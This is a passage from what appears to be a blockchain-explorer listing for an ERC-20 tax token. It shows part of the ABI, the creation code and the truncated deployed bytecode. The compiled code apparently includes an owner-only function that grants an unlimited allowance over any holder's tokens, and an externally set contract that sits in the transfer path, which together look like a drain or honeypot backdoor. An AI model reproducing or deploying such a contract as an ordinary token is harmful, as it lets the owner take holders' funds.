,{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
610100604052600760c09081526650455246554d4560c81b60e052600190620000299082620007f0565b5060408051808201909152600f81526e071c1c8f1c1caf1c1d2f1c1de71c1d608d1b60208201526002906200005f9082620007f0565b50600380543361010081026001600160a81b03199092169190911760091791829055600480546001600160a01b031916909117905561dead6080525f60a0819052600d819055600e819055600f819055601081905560118190556012556064601355620000d19060ff16600a620009c5565b620000e29064e8d4a51000620009d5565b601681905562000104906103e890620000fd906001620005d8565b906200066b565b6017556016546200011f90606490620000fd906004620005d8565b6018556016546200013a90606490620000fd906004620005d8565b601955601b805463ffffffff60a81b1916630101000160a81b17905534801562000162575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021e9190620009ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002909190620009ef565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002db573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003019190620009ef565b601b80546001600160a01b039283166001600160a01b031991821617909155601a80549284169290911682179055305f9081526007602090815260408083209383529290529081205f199055600190600890620003655f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556003546101009004821681526008909352818320805485166001908117909155600454909116835290822080549093168117909255600b90620003dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600b909352818320805485166001908117909155600454821684528284208054861682179055601b549091168352818320805485168217905530835290822080549093168117909255600c90620004735f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600354610100900482168152600c9093528183208054851660019081179091556004549091168352818320805485168217905530835291208054909216179055600f54600e54600d54620005029291620004fb9190620006b4565b90620006b4565b601455601254601154601054620005209291620004fb9190620006b4565b601555601b546001600160a01b03165f908152600960205260408120805460ff19166001179055600580546001600160a01b0319163317905560165490600690620005683390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601654604051620005c991815260200190565b60405180910390a35062000a9a565b5f825f03620005e957505f62000665565b5f620005f68385620009d5565b90508262000605858362000a17565b14620006625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6200066283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200071660201b60201c565b5f80620006c2838562000a37565b905083811015620006625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000659565b5f8183620007395760405162461bcd60e51b815260040162000659919062000a4d565b505f62000747848662000a17565b95945050505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200077957607f821691505b6020821081036200079857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620007eb575f81815260208120601f850160051c81016020861015620007c65750805b601f850160051c820191505b81811015620007e757828155600101620007d2565b5050505b505050565b81516001600160401b038111156200080c576200080c62000750565b62000824816200081d845462000764565b846200079e565b602080601f8311600181146200085a575f8415620008425750858301515b5f19600386901b1c1916600185901b178555620007e7565b5f85815260208120601f198616915b828110156200088a5788860151825594840194600190910190840162000869565b5085821015620008a857878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200090c57815f1904821115620008f057620008f0620008b8565b80851615620008fe57918102915b93841c9390800290620008d1565b509250929050565b5f82620009245750600162000665565b816200093257505f62000665565b81600181146200094b5760028114620009565762000976565b600191505062000665565b60ff8411156200096a576200096a620008b8565b50506001821b62000665565b5060208310610133831016604e8410600b84101617156200099b575081810a62000665565b620009a78383620008cc565b805f1904821115620009bd57620009bd620008b8565b029392505050565b5f6200066260ff84168362000914565b8082028115828204841417620006655762000665620008b8565b5f6020828403121562000a00575f80fd5b81516001600160a01b038116811462000662575f80fd5b5f8262000a3257634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620006655762000665620008b8565b5f6020808352835180828501525f5b8181101562000a7a5785810183015185820160400152820162000a5c565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a051612a6d62000aca5f395f81816104070152610f3801525f818161054f0152610f720152612a6d5ff3fe6080604052600436106103a0575f3560e01c80638b42507f116101de578063d2d7ad8311610108578063f0cd1dac1161009d578063f84ba65d1161006d578063f84ba65d14610adb578063f872858a14610afa578063f8f6329014610b1a578063fb4b8e6c14610b39575f80fd5b8063f0cd1dac14610a73578063f1d5f51714610a88578063f2fde38b14610aa7578063f680f79914610ac6575f80fd5b8063e6b2603b116100d8578063e6b2603b14610a02578063ec28438a14610a16578063ef422a1814610a35578063f09a401614610a54575f80fd5b8063d2d7ad8314610974578063da00097d14610989578063dc44b6a0146109a9578063dd62ed3e146109be575f80fd5b8063a5d69d1f1161017e578063c816841b1161014e578063c816841b146108f3578063c860795214610912578063c867d60b14610927578063c9c9afc514610955575f80fd5b8063a5d69d1f14610881578063a9059cbb146108a0578063c49b9a80146108bf578063c5d24189146108de575f80fd5b806395d89b41116101b957806395d89b411461081057806398e944c8146108245780639ebcc3ff14610843578063a457c2d714610862575f80fd5b80638b42507f146107a75780638da5cb5b146107d55780639230563d146107f1575f80fd5b80633b97084a116102ca578063751039fc1161025f57806382eefb431161022f57806382eefb431461073e578063844d591c14610753578063852614851461077257806388790a6814610792575f80fd5b8063751039fc146106dc57806375f0a874146106f05780637d1db4a514610714578063807c2d9c14610729575f80fd5b80635194f9bf1161029a5780635194f9bf146106515780635342acb41461066657806370a0823114610694578063715018a6146106c8575f80fd5b80633b97084a146105c55780633ecad271146105e45780634a74bb02146106125780634cb80fd514610632575f80fd5b80632198cf6c1161034057806327c8f8351161031057806327c8f8351461053e5780632b112e4914610571578063313ce5671461058557806339509351146105a6575f80fd5b80632198cf6c146104cc57806323555d57146104eb57806323b872dd1461050057806326cd1e301461051f575f80fd5b8063095ea7b31161037b578063095ea7b3146104415780631694505e1461047057806318160ddd1461048f5780631870517a146104ad575f80fd5b806306fdde03146103ab57806308733214146103d55780630930907b146103f6575f80fd5b366103a757005b5f80fd5b3480156103b6575f80fd5b506103bf610b58565b6040516103cc919061260c565b60405180910390f35b3480156103e0575f80fd5b506103f46103ef366004612657565b610be8565b005b348015610401575f80fd5b506104297f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103cc565b34801561044c575f80fd5b5061046061045b366004612694565b610ca5565b60405190151581526020016103cc565b34801561047b575f80fd5b50601a54610429906001600160a01b031681565b34801561049a575f80fd5b506016545b6040519081526020016103cc565b3480156104b8575f80fd5b506103f46104c7366004612657565b610cbb565b3480156104d7575f80fd5b506103f46104e63660046126cb565b610d64565b3480156104f6575f80fd5b5061049f600f5481565b34801561050b575f80fd5b5061046061051a366004612702565b610db7565b34801561052a575f80fd5b506103f4610539366004612694565b610e20565b348015610549575f80fd5b506104297f000000000000000000000000000000000000000000000000000000000000000081565b34801561057c575f80fd5b5061049f610f2e565b348015610590575f80fd5b5060035460405160ff90911681526020016103cc565b3480156105b1575f80fd5b506104606105c0366004612694565b610fbf565b3480156105d0575f80fd5b506103f46105df366004612740565b610ff4565b3480156105ef575f80fd5b506104606105fe366004612757565b60096020525f908152604090205460ff1681565b34801561061d575f80fd5b50601b5461046090600160a81b900460ff1681565b34801561063d575f80fd5b506103f461064c366004612757565b61114a565b34801561065c575f80fd5b5061049f60125481565b348015610671575f80fd5b50610460610680366004612757565b60086020525f908152604090205460ff1681565b34801561069f575f80fd5b5061049f6106ae366004612757565b6001600160a01b03165f9081526006602052604090205490565b3480156106d3575f80fd5b506103f46111c1565b3480156106e7575f80fd5b506103f4611238565b3480156106fb575f80fd5b506003546104299061010090046001600160a01b031681565b34801561071f575f80fd5b5061049f60185481565b348015610734575f80fd5b5061049f60195481565b348015610749575f80fd5b5061049f60155481565b34801561075e575f80fd5b506103f461076d3660046126cb565b61127c565b34801561077d575f80fd5b50601b5461046090600160c01b900460ff1681565b34801561079d575f80fd5b5061049f60105481565b3480156107b2575f80fd5b506104606107c1366004612757565b600c6020525f908152604090205460ff1681565b3480156107e0575f80fd5b505f546001600160a01b0316610429565b3480156107fc575f80fd5b506103f461080b366004612772565b6112cf565b34801561081b575f80fd5b506103bf611316565b34801561082f575f80fd5b50600554610429906001600160a01b031681565b34801561084e575f80fd5b506103f461085d366004612772565b611325565b34801561086d575f80fd5b5061046061087c366004612694565b61136c565b34801561088c575f80fd5b506103f461089b366004612772565b6113b9565b3480156108ab575f80fd5b506104606108ba366004612694565b611400565b3480156108ca575f80fd5b506103f46108d9366004612772565b61140c565b3480156108e9575f80fd5b5061049f600e5481565b3480156108fe575f80fd5b50601b54610429906001600160a01b031681565b34801561091d575f80fd5b5061049f60115481565b348015610932575f80fd5b50610460610941366004612757565b600b6020525f908152604090205460ff1681565b348015610960575f80fd5b506103f461096f366004612757565b61148d565b34801561097f575f80fd5b5061049f60175481565b348015610994575f80fd5b50601b5461046090600160b01b900460ff1681565b3480156109b4575f80fd5b5061049f600d5481565b3480156109c9575f80fd5b5061049f6109d836600461278d565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610a0d575f80fd5b506103f46114d8565b348015610a21575f80fd5b506103f4610a30366004612740565b611555565b348015610a40575f80fd5b506103f4610a4f3660046126cb565b611614565b348015610a5f575f80fd5b506103f4610a6e36600461278d565b611667565b348015610a7e575f80fd5b5061049f60145481565b348015610a93575f80fd5b506103f4610aa2366004612740565b6116d2565b348015610ab2575f80fd5b506103f4610ac1366004612757565b611700565b348015610ad1575f80fd5b5061049f60135481565b348015610ae6575f80fd5b506103f4610af53660046126cb565b6117e7565b348015610b05575f80fd5b50601b5461046090600160b81b900460ff1681565b348015610b25575f80fd5b50600454610429906001600160a01b031681565b348015610b44575f80fd5b506103f4610b53366004612757565b61183a565b606060018054610b67906127b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610b93906127b9565b8015610bde5780601f10610bb557610100808354040283529160200191610bde565b820191905f5260205f20905b815481529060010190602001808311610bc157829003601f168201915b5050505050905090565b5f546001600160a01b03163314610c1a5760405162461bcd60e51b8152600401610c11906127f1565b60405180910390fd5b601083905560118290556012819055610c3d81610c3785856118ab565b906118ab565b601555601354610c4f9060149061283a565b6015541115610ca05760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c657373000000006044820152606401610c11565b505050565b5f610cb1338484611909565b5060015b92915050565b5f546001600160a01b03163314610ce45760405162461bcd60e51b8152600401610c11906127f1565b600d839055600e829055600f819055610d0181610c3785856118ab565b6014908155601354610d13919061283a565b6014541115610ca05760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610c11565b5f546001600160a01b03163314610d8d5760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f610dc3848484611a2c565b50610e158433610e10856040518060600160405280602881526020016129eb602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611e55565b611909565b5060015b9392505050565b5f546001600160a01b03163314610e495760405162461bcd60e51b8152600401610c11906127f1565b306001600160a01b03831603610ec05760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610c11565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610f0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca09190612859565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f90815260066020526040812054610fba90610fb4610fab7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526006602052604090205490565b60165490611e8d565b90611e8d565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610cb1918590610e1090866118ab565b5f546001600160a01b0316331461101d5760405162461bcd60e51b8152600401610c11906127f1565b611040620186a061103a6001601654611ece90919063ffffffff16565b90611f4c565b8110156110b55760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610c11565b6110d0606461103a6001601654611ece90919063ffffffff16565b8111156111455760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610c11565b601755565b5f546001600160a01b031633146111735760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b0381166111995760405162461bcd60e51b8152600401610c1190612874565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b5f546001600160a01b031633146111ea5760405162461bcd60e51b8152600401610c11906127f1565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b5f546001600160a01b031633146112615760405162461bcd60e51b8152600401610c11906127f1565b601b805461ffff60b81b191690556016546018819055601955565b5f546001600160a01b031633146112a55760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146112f85760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160b81b0260ff60b81b19909216919091179055565b606060028054610b67906127b9565b5f546001600160a01b0316331461134e5760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160c01b0260ff60c01b19909216919091179055565b5f610cb13384610e1085604051806060016040528060258152602001612a1360259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611e55565b5f546001600160a01b031633146113e25760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160b01b0260ff60b01b19909216919091179055565b5f610e15338484611a2c565b5f546001600160a01b031633146114355760405162461bcd60e51b8152600401610c11906127f1565b601b8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148290831515815260200190565b60405180910390a150565b5f546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c11906127f1565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146115015760405162461bcd60e51b8152600401610c11906127f1565b6040515f90339047908381818185875af1925050503d805f8114611540576040519150601f19603f3d011682016040523d82523d5f602084013e611545565b606091505b5050905080611552575f80fd5b50565b5f546001600160a01b0316331461157e5760405162461bcd60e51b8152600401610c11906127f1565b61159a6103e861103a6001601654611ece90919063ffffffff16565b81101561160f5760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610c11565b601855565b5f546001600160a01b0316331461163d5760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146116905760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b039182165f90815260076020908152604080832093909416808352929052919091205f199055600a80546001600160a01b0319169091179055565b5f546001600160a01b031633146116fb5760405162461bcd60e51b8152600401610c11906127f1565b601955565b5f546001600160a01b031633146117295760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03811661178e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c11565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146118105760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146118635760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b0381166118895760405162461bcd60e51b8152600401610c1190612874565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f806118b783856128b6565b905083811015610e195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c11565b6001600160a01b03831661196b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c11565b6001600160a01b0382166119cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c11565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416611a915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c11565b6001600160a01b038316611af35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c11565b601b54600160a01b900460ff1615611b1757611b10848484611f8d565b9050610e19565b6001600160a01b0384165f908152600c602052604090205460ff16158015611b5757506001600160a01b0383165f908152600c602052604090205460ff16155b8015611b6c5750601b54600160c01b900460ff165b15611bd457601854821115611bd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c11565b305f9081526006602052604090205460175481108015908190611c015750601b54600160a01b900460ff16155b8015611c2557506001600160a01b0386165f9081526009602052604090205460ff16155b8015611c3a5750601b54600160a81b900460ff165b15611c6057601b54600160b01b900460ff1615611c575760175491505b611c6082612070565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260069091529190912054611cb1918690611e55565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff1680611cfc57506001600160a01b0386165f9081526008602052604090205460ff165b611d1057611d0b87878761220b565b611d12565b845b601b54909150600160b81b900460ff168015611d4657506001600160a01b0386165f908152600b602052604090205460ff16155b15611dcc57601954611d7082610c37896001600160a01b03165f9081526006602052604090205490565b1115611dcc5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610c11565b6001600160a01b0386165f90815260066020526040902054611dee90826118ab565b6001600160a01b038088165f8181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e419085815260200190565b60405180910390a360019350505050610e19565b5f8184841115611e785760405162461bcd60e51b8152600401610c11919061260c565b505f611e8484866128c9565b95945050505050565b5f610e1983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e55565b5f825f03611edd57505f610cb5565b5f611ee883856128dc565b905082611ef5858361283a565b14610e195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c11565b5f610e1983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123a6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600690915291822054611fdd918490611e55565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461200b90836118ab565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061205e9086815260200190565b60405180910390a35060019392505050565b601b805460ff60a01b1916600160a01b1790556015546014545f9161209591906118ab565b90505f6120af601054600d546118ab90919063ffffffff16565b90505f6120c9601154600e546118ab90919063ffffffff16565b90505f6120dd600261103a86818988611ece565b90505f6120ea8683611e8d565b9050476120f6826123d2565b5f6121014783611e8d565b90505f612119612112886002611f4c565b8990611e8d565b90505f61212d600261103a8481878d611ece565b90505f61213e8361103a868b611ece565b90505f61214f82610fb48786611e8d565b90508115612194576003546040516101009091046001600160a01b0316906108fc8415029084905f818181858888f19350505050158015612192573d5f803e3d5ffd5b505b80156121d3576004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156121d1573d5f803e3d5ffd5b505b5f831180156121e157505f88115b156121f0576121f0888461255b565b5050601b805460ff60a01b1916905550505050505050505050565b600a545f9081906001600160a01b0316158061229e5750600a546040516323b872dd60e01b81526001600160a01b038781166004830152868116602483015260448201849052909116906323b872dd906064016020604051808303815f875af115801561227a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061229e9190612859565b156122a657505f5b6001600160a01b0385165f9081526009602052604090205460ff16156122e7576122e0606461103a60145486611ece90919063ffffffff16565b9050612324565b6001600160a01b0384165f9081526009602052604090205460ff161561232457612321606461103a60155486611ece90919063ffffffff16565b90505b801561239c57305f9081526006602052604090205461234390826118ab565b305f81815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906123939085815260200190565b60405180910390a35b611e848382611e8d565b5f81836123c65760405162461bcd60e51b8152600401610c11919061260c565b505f611e84848661283a565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110612405576124056128f3565b6001600160a01b03928316602091820292909201810191909152601a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561245c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124809190612907565b81600181518110612493576124936128f3565b6001600160a01b039283166020918202929092010152601a546124b99130911684611909565b601a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124f19085905f90869030904290600401612964565b5f604051808303815f87803b158015612508575f80fd5b505af115801561251a573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161254f92919061299f565b60405180910390a15050565b601a546125739030906001600160a01b031684611909565b601a5460055460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156125e0573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061260591906129bf565b5050505050565b5f6020808352835180828501525f5b818110156126375785810183015185820160400152820161261b565b505f604082860101526040601f19601f8301168501019250505092915050565b5f805f60608486031215612669575f80fd5b505081359360208301359350604090920135919050565b6001600160a01b0381168114611552575f80fd5b5f80604083850312156126a5575f80fd5b82356126b081612680565b946020939093013593505050565b8015158114611552575f80fd5b5f80604083850312156126dc575f80fd5b82356126e781612680565b915060208301356126f7816126be565b809150509250929050565b5f805f60608486031215612714575f80fd5b833561271f81612680565b9250602084013561272f81612680565b929592945050506040919091013590565b5f60208284031215612750575f80fd5b5035919050565b5f60208284031215612767575f80fd5b8135610e1981612680565b5f60208284031215612782575f80fd5b8135610e19816126be565b5f806040838503121561279e575f80fd5b82356127a981612680565b915060208301356126f781612680565b600181811c908216806127cd57607f821691505b6020821081036127eb57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261285457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612869575f80fd5b8151610e19816126be565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b80820180821115610cb557610cb5612826565b81810381811115610cb557610cb5612826565b8082028115828204841417610cb557610cb5612826565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612917575f80fd5b8151610e1981612680565b5f8151808452602080850194508084015f5b838110156129595781516001600160a01b031687529582019590820190600101612934565b509495945050505050565b85815284602082015260a060408201525f61298260a0830186612922565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6129b76040830184612922565b949350505050565b5f805f606084860312156129d1575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203ee1bdf7a15e1e42e2dbb635535f65ba72c4a9a66db70feec8458b6f60c0613d64736f6c63430008140033
Deployed Bytecode
0x6080604052600436106103a0575f3560e01c80638b42507f116101de578063d2d7ad8311610108578063f0cd1dac1161009d578063f84ba65d1161006d578063f84ba65d14610adb578063f872858a14610afa578063f8f6329014610b1a578063fb4b8e6c14610b39575f80fd5b8063f0cd1dac14610a73578063f1d5f51714610a88578063f2fde38b14610aa7578063f680f79914610ac6575f80fd5b8063e6b2603b116100d8578063e6b2603b14610a02578063ec28438a14610a16578063ef422a1814610a35578063f09a401614610a54575f80fd5b8063d2d7ad8314610974578063da00097d14610989578063dc44b6a0146109a9578063dd62ed3e146109be575f80fd5b8063a5d69d1f1161017e578063c816841b1161014e578063c816841b146108f3578063c860795214610912578063c867d60b14610927578063c9c9afc514610955575f80fd5b8063a5d69d1f14610881578063a9059cbb146108a0578063c49b9a80146108bf578063c5d24189146108de575f80fd5b806395d89b41116101b957806395d89b411461081057806398e944c8146108245780639ebcc3ff14610843578063a457c2d714610862575f80fd5b80638b42507f146107a75780638da5cb5b146107d55780639230563d146107f1575f80fd5b80633b97084a116102ca578063751039fc1161025f57806382eefb431161022f57806382eefb431461073e578063844d591c14610753578063852614851461077257806388790a6814610792575f80fd5b8063751039fc146106dc57806375f0a874146106f05780637d1db4a514610714578063807c2d9c14610729575f80fd5b80635194f9bf1161029a5780635194f9bf146106515780635342acb41461066657806370a0823114610694578063715018a6146106c8575f80fd5b80633b97084a146105c55780633ecad271146105e45780634a74bb02146106125780634cb80fd514610632575f80fd5b80632198cf6c1161034057806327c8f8351161031057806327c8f8351461053e5780632b112e4914610571578063313ce5671461058557806339509351146105a6575f80fd5b80632198cf6c146104cc57806323555d57146104eb57806323b872dd1461050057806326cd1e301461051f575f80fd5b8063095ea7b31161037b578063095ea7b3146104415780631694505e1461047057806318160ddd1461048f5780631870517a146104ad575f80fd5b806306fdde03146103ab57806308733214146103d55780630930907b146103f6575f80fd5b366103a757005b5f80fd5b3480156103b6575f80fd5b506103bf610b58565b6040516103cc919061260c565b60405180910390f35b3480156103e0575f80fd5b506103f46103ef366004612657565b610be8565b005b348015610401575f80fd5b506104297f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103cc565b34801561044c575f80fd5b5061046061045b366004612694565b610ca5565b60405190151581526020016103cc565b34801561047b575f80fd5b50601a54610429906001600160a01b031681565b34801561049a575f80fd5b506016545b6040519081526020016103cc565b3480156104b8575f80fd5b506103f46104c7366004612657565b610cbb565b3480156104d7575